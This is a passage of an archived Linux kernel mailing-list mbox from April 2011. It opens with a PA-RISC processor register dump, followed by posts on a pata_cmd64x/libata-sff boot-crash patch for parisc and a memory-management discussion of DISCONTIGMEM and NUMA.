       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0435110

General Registers 0 - 31
00-03  0000000000000000  00000000404f79d0  000000004011c1e8  00000000405cbe40
04-07  0000000040613d80  0000000000000000  000000000800000f  000000027bed5080
08-11  0000000040462d98  0000000000000000  00000002bf9c6540  0000000000000001
12-15  000000027be61980  000000007d65d240  0000000000000002  000000000000005e
16-19  0000000040623d80  0000000040623d80  000000004051c8fc  00000000ffffffff
20-23  0000000000000000  ffffffffffffffff  000000000800000e  0000000000000000
24-27  000000000000d2f8  0000000000000080  0000000001968380  0000000040613d80
28-31  0000000000000000  0000000172d6ca80  0000000172d6cab0  0000000000000000

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000003b5e  0000000000000000  00000000000000c0  0000000000000020
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  00006437fdcb5220  0000000000000000  00000000401011c4  00000000075942e0
20-23  0000000015340006  000000005a168380  000000ff080cff0e  8000000000000000
24-27  0000000000573000  000000027fb92000  fffdffffffdfffef  0000000040002780
28-31  0000000040001540  ffffffffffffff7f  0000000172d6c000  886904b488140042


Space Registers 0 - 7
00-03  0000000000ed7000  0000000000000000  0000000000000000  0000000000ed7800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000401011c0
Check Type                   = 0x00000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00ed7800
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000001  4090000000000000
08-11  0000000000032000  0000000040662000  0000000040613d80  0000000040662000
12-15  00000001c0000000  000000004062e580  0000000000000000  0000000040661340
16-19  0000000000000000  0000000040501680  00000000401fb5c0  000000007f0b4000
20-23  00000000401ad2c0  0000000000000000  0000000000000070  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  000000007f08c3a0
28-31  000000004051c1dc  000000000000002f  00000000405b2274  00000000405b2248

PIM Revision                 = 0x0000000000000001
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8400000000800000
SAL Timestamp                = 0x000000004daeca24
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112022000002008
MIB_STAT                     = 0x0000000000000000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0800000000440000
Sharedcache Info2            = 0x00000000000000c0
MIB_RSLOG1                   = 0x0000008000000104
MIB_RSLOG2                   = 0x0021010000000000
MIB_RQLOG                    = 0x0045200000082600
MIB_REQLOGa                  = 0x8004520000008200
MIB_REQLOGb                  = 0xc10008a400000100
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Wed, 20 Apr 2011 09:28:18 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1303309698.2587.10.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	 <1303159802.7167.30.camel@mulgrave.site>
	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	 <4DADF798.6010705@ru.mvista.com>
	 <20110419221900.67528a07@lxorguk.ukuu.org.uk>
	 <4DADFD2E.9070809@ru.mvista.com>
	 <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
	 <1303254709.11237.34.camel@mulgrave.site>  <4DAEAF9A.1020704@ru.mvista.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303309711 28940 80.91.229.12 (20 Apr 2011 14:28:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:28:31 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sshtylyov@mvista.com>
Original-X-From: linux-ide-owner@vger.kernel.org Wed Apr 20 16:28:26 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QCYOE-0002jc-Ts
	for lnx-linux-ide@lo.gmane.org; Wed, 20 Apr 2011 16:28:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752890Ab1DTO2V (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Wed, 20 Apr 2011 10:28:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38421 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752248Ab1DTO2V (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Wed, 20 Apr 2011 10:28:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D21A58EE0FD;
	Wed, 20 Apr 2011 07:28:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KV1dcllveqIx; Wed, 20 Apr 2011 07:28:20 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 466FE8EE01D;
	Wed, 20 Apr 2011 07:28:20 -0700 (PDT)
In-Reply-To: <4DAEAF9A.1020704@ru.mvista.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49358 gmane.linux.ports.parisc:3615
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49358>

On Wed, 2011-04-20 at 14:04 +0400, Sergei Shtylyov wrote:

> > +		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
> > +	/* 643 and 646 no UDMA, primary port always enabled */
> > +	if (port_ok && id->driver_data > 1 &&  !(reg & CNTRL_PRIMARY)) {
> 
>     PCI0646U and later revisions on PCI0646 do have the primary port enable 
> bit. The same about UltraDMA -- PCI0646U2 has it. Look at what cmd64x does in 
> cmd64x_init_one()...

Where?  All I see in drivers/ide/cmd64x.c is that it only ignores the
primary for the id->driver_data == 0 case, which is what I originally
coded.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 09:50:40 -0500 (CDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104200943580.9266@router.home>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>  <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>  <20110420161615.462D.A69D9226@jp.fujitsu.com>  <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>  <20110420112020.GA31296@parisc-linux.org> 
 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com> <1303308938.2587.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303311062 5078 80.91.229.12 (20 Apr 2011 14:51:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:51:02 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Matthew Wilcox <matthew@wil.cx>,
  KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
  Michal Hocko <mhocko@suse.cz>, Andrew Morton <akpm@linux-foundation.org>,
  Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
  LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
  David Rientjes <rientjes@google.com>, Ingo Molnar <mingo@elte.hu>,
  x86 maintainers <x86@kernel.org>, linux-arch@vger.kernel.org,
  Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 16:50:54 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCYjy-00029g-Ol
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 16:50:51 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A9D078D0040; Wed, 20 Apr 2011 10:50:48 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 772338D003B; Wed, 20 Apr 2011 10:50:47 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id AF7358D0040; Wed, 20 Apr 2011 10:50:47 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail203.messagelabs.com (mail203.messagelabs.com [216.82.254.243])
	by kanga.kvack.org (Postfix) with SMTP id A867F8D003B
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 10:50:46 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-9.tower-203.messagelabs.com!1303311042!83497464!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.92]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG,
  UNPARSEABLE_RELAY
Original-Received: (qmail 5158 invoked from network); 20 Apr 2011 14:50:43 -0000
Original-Received: from smtp109.prem.mail.ac4.yahoo.com (HELO smtp109.prem.mail.ac4.yahoo.com) (76.13.13.92)
  by server-9.tower-203.messagelabs.com with SMTP; 20 Apr 2011 14:50:43 -0000
Original-Received: (qmail 78029 invoked from network); 20 Apr 2011 14:50:45 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp109.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 07:50:45 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: MlEtCNYVM1mI1RXWTW1C_MTKCiOMHLNTBzcBH6c0lZIZNkB
 uvFpuRUcG6Lkam644E8SqtjK.Y3Kr00CxDajXa1YrxRSw2IfD_49s9fuTm6E
 M_Hc3TYow_M9MbMN9mSVG4t44yKzDOWiodzmHtagKypomSyK4YzemYBjeJtN
 6WjH6XGXQpgjrRdRJFdPScobgfdbfzpvYuTtRhKwA0dkQ1uJcpwrEDNygOwN
 wk45cGJDr89GTag8seO86dm7Gqe4UWL1pp1dhUhdFlCi7G9GA7iY2539B05j
 G6CiKkLNjv4tkUISHtYNtfvazCAG5j2jgNZ25b.LStOfZvS1A
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCYjs-0002Xy-Ej; Wed, 20 Apr 2011 09:50:44 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303308938.2587.8.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61693 gmane.linux.kernel:1129043 gmane.linux.ports.parisc:3616 gmane.linux.kernel.cross-arch:9626
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61693>

On Wed, 20 Apr 2011, James Bottomley wrote:

>      1. We can look at what imposing NUMA on the DISCONTIGMEM archs
>         would do ... the embedded ones are going to be hardest hit, but
>         if it's not too much extra code, it might be palatable.
>      2. The other is that we can audit mm to look at all the node
>         assumptions in the non-numa case.  My suspicion is that
>         accidentally or otherwise, it mostly works for the normal case,
>         so there might not be much needed to pull it back to working
>         properly for DISCONTIGMEM.

The older code may work. SLAB f.e. does not call page_to_nid() in the
!NUMA case but keeps special metadata structures around in each slab page
that records the node used for allocation. The problem is with new code
added/revised in the last 5 years or so that uses page_to_nid() and
allocates only a single structure for !NUMA. There are also VM_BUG_ONs in
the page allocator that should trigger if page_to_nid() returns strange
values. I wonder why that never occurred.

>      3. Finally we could look at deprecating DISCONTIGMEM in favour
of >         SPARSEMEM, but we'd still need to fix -stable for that case.
>         Especially as it will take time to convert all the architectures

The fix needed is to mark DISCONTIGMEM without NUMA as broken for now. We
need an audit of the core VM before removing that or making it contingent
on the configurations of various VM subsystems.

> I'm certainly with Matthew: DISCONTIGMEM is supposed to be a lightweight
> framework which allows machines with split physical memory ranges to
> work.  That's a very common case nowadays.  Numa is supposed to be a
> heavyweight framework to preserve node locality for non-uniform memory
> access boxes (which none of the DISCONTIGMEM && !NUMA systems are).

Well yes but we have SPARSE for that today. DISCONTIG with multiple per
pgdat structures in a !NUMA case is just weird and unexpected for many who
have done VM coding in the last years.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Wed, 20 Apr 2011 09:52:19 -0500
Lines: 150
Approved: news@gmane.org
Message-ID: <1303311140.2587.13.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	 <1303159802.7167.30.camel@mulgrave.site>
	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	 <4DADF798.6010705@ru.mvista.com>
	 <20110419221900.67528a07@lxorguk.ukuu.org.uk>
	 <4DADFD2E.9070809@ru.mvista.com>
	 <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
	 <1303254709.11237.34.camel@mulgrave.site>  <4DAEAF9A.1020704@ru.mvista.com>
	 <1303309698.2587.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303311149 5757 80.91.229.12 (20 Apr 2011 14:52:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:52:29 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sshtylyov@mvista.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 16:52:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCYlU-0003X3-1H
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 16:52:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752634Ab1DTOwW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 10:52:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35507 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752121Ab1DTOwW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 10:52:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E88B88EE0A4;
	Wed, 20 Apr 2011 07:52:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id S6JoL+F08-fP; Wed, 20 Apr 2011 07:52:21 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3F76D8EE01D;
	Wed, 20 Apr 2011 07:52:21 -0700 (PDT)
In-Reply-To: <1303309698.2587.10.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3617 gmane.linux.ide:49359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3617>

On Wed, 2011-04-20 at 09:28 -0500, James Bottomley wrote:
> On Wed, 2011-04-20 at 14:04 +0400, Sergei Shtylyov wrote:
> 
> > > +		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
> > > +	/* 643 and 646 no UDMA, primary port always enabled */
> > > +	if (port_ok && id->driver_data > 1 &&  !(reg & CNTRL_PRIMARY)) {
> > 
> >     PCI0646U and later revisions on PCI0646 do have the primary port enable 
> > bit. The same about UltraDMA -- PCI0646U2 has it. Look at what cmd64x does in 
> > cmd64x_init_one()...
> 
> Where?  All I see in drivers/ide/cmd64x.c is that it only ignores the
> primary for the id->driver_data == 0 case, which is what I originally
> coded.

OK, found it ... it's the pdev->revision < 3 check.  

James

---

>From 71be695c796eeaed7b45b3756a101f87b77827c2 Mon Sep 17 00:00:00 2001
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 18 Apr 2011 13:52:36 -0700
Subject: [PATCH] pata_cm64x: latest fix for boot crash


diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
index f8380ce..b1b926c 100644
--- a/drivers/ata/libata-sff.c
+++ b/drivers/ata/libata-sff.c
@@ -2447,13 +2447,18 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 		return -ENOMEM;
 
 	if (!legacy_mode && pdev->irq) {
+		int i;
+
 		rc = devm_request_irq(dev, pdev->irq, irq_handler,
 				      IRQF_SHARED, drv_name, host);
 		if (rc)
 			goto out;
 
-		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
-		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
+		for (i = 0; i < 2; i++) {
+			if (ata_port_is_dummy(host->ports[i]))
+				continue;
+			ata_port_desc(host->ports[i], "irq %d", pdev->irq);
+		}
 	} else if (legacy_mode) {
 		if (!ata_port_is_dummy(host->ports[0])) {
 			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),
diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
index 905ff76..7bafc16 100644
--- a/drivers/ata/pata_cmd64x.c
+++ b/drivers/ata/pata_cmd64x.c
@@ -41,6 +41,9 @@
 enum {
 	CFR 		= 0x50,
 		CFR_INTR_CH0  = 0x04,
+	CNTRL		= 0x51,
+		CNTRL_CH0     = 0x04,
+		CNTRL_CH1     = 0x08,
 	CMDTIM 		= 0x52,
 	ARTTIM0 	= 0x53,
 	DRWTIM0 	= 0x54,
@@ -328,9 +331,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 			.port_ops = &cmd648_port_ops
 		}
 	};
-	const struct ata_port_info *ppi[] = { &cmd_info[id->driver_data], NULL };
-	u8 mrdmode;
+	const struct ata_port_info *ppi[] = { 
+		&cmd_info[id->driver_data],
+		&cmd_info[id->driver_data],
+		NULL
+	};
+	u8 mrdmode, reg;
 	int rc;
+	struct pci_dev *bridge = pdev->bus->self;
+	/* mobility split bridges don't report enabled ports correctly */
+	int port_ok = !(bridge && bridge->vendor ==
+			PCI_VENDOR_ID_MOBILITY_ELECTRONICS);
+	/* all (with exceptions below) apart from 643 have CNTRL_CH0 bit */
+	int cntrl_ch0_ok = (id->driver_data != 0);
 
 	rc = pcim_enable_device(pdev);
 	if (rc)
@@ -341,11 +354,18 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 
 	if (pdev->device == PCI_DEVICE_ID_CMD_646) {
 		/* Does UDMA work ? */
-		if (pdev->revision > 4)
+		if (pdev->revision > 4) {
 			ppi[0] = &cmd_info[2];
+			ppi[1] = &cmd_info[2];
+		}
 		/* Early rev with other problems ? */
-		else if (pdev->revision == 1)
+		else if (pdev->revision == 1) {
 			ppi[0] = &cmd_info[3];
+			ppi[1] = &cmd_info[3];
+		}
+		/* revs 1,2 have no CNTRL_CH0 */
+		if (pdev->revision < 3)
+			cntrl_ch0_ok = 0;
 	}
 
 	pci_write_config_byte(pdev, PCI_LATENCY_TIMER, 64);
@@ -354,6 +374,20 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	mrdmode |= 0x02;	/* Memory read line enable */
 	pci_write_config_byte(pdev, MRDMODE, mrdmode);
 
+	/* check for enabled ports */
+	pci_read_config_byte(pdev, CNTRL, &reg);
+	if (!port_ok)
+		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
+	if (port_ok && cntrl_ch0_ok && !(reg & CNTRL_CH0)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Primary port is disabled\n");
+		ppi[0] = &ata_dummy_port_info;
+		
+	}
+	if (port_ok && !(reg & CNTRL_CH1)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
+		ppi[1] = &ata_dummy_port_info;
+	}
+
 	/* Force PIO 0 here.. */
 
 	/* PPC specific fixup copied from old driver */
diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
index 4e2c915..7a0ac45 100644
--- a/include/linux/pci_ids.h
+++ b/include/linux/pci_ids.h
@@ -608,6 +608,8 @@
 #define PCI_DEVICE_ID_MATROX_G550	0x2527
 #define PCI_DEVICE_ID_MATROX_VIA	0x4536
 
+#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
+
 #define PCI_VENDOR_ID_CT		0x102c
 #define PCI_DEVICE_ID_CT_69000		0x00c0
 #define PCI_DEVICE_ID_CT_65545		0x00d8


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
	boot on parisc
Date: Wed, 20 Apr 2011 08:56:16 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20110420145616.GB31296@parisc-linux.org>
References: <1303152147.7167.12.camel@mulgrave.site> <20110418205203.56bbdb14@lxorguk.ukuu.org.uk> <1303159802.7167.30.camel@mulgrave.site> <20110418222017.4e77fe05@lxorguk.ukuu.org.uk> <4DADF798.6010705@ru.mvista.com> <20110419221900.67528a07@lxorguk.ukuu.org.uk> <4DADFD2E.9070809@ru.mvista.com> <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk> <1303254709.11237.34.camel@mulgrave.site> <4DAEAF9A.1020704@ru.mvista.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303311384 7131 80.91.229.12 (20 Apr 2011 14:56:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:56:24 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sshtylyov@mvista.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 16:56:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCYpH-0005Wn-8Z
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 16:56:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753324Ab1DTO4S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 10:56:18 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:38239 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752787Ab1DTO4S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 10:56:18 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 09BC6494006; Wed, 20 Apr 2011 08:56:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4DAEAF9A.1020704@ru.mvista.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3618 gmane.linux.ide:49360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3618>

On Wed, Apr 20, 2011 at 02:04:10PM +0400, Sergei Shtylyov wrote:
>> +#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
>> +
>
>    The current trend seems to be to only define vendor/device IDs where 
> they are used and not in pci_ids.h...

Device IDs, yes.  Vendor IDs should always go to the pci_ids.h file, since
they're likely to be used in multiple places.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 18:54:41 +0400
Lines: 138
Approved: news@gmane.org
Message-ID: <4DAEF3B1.6020304@ru.mvista.com>
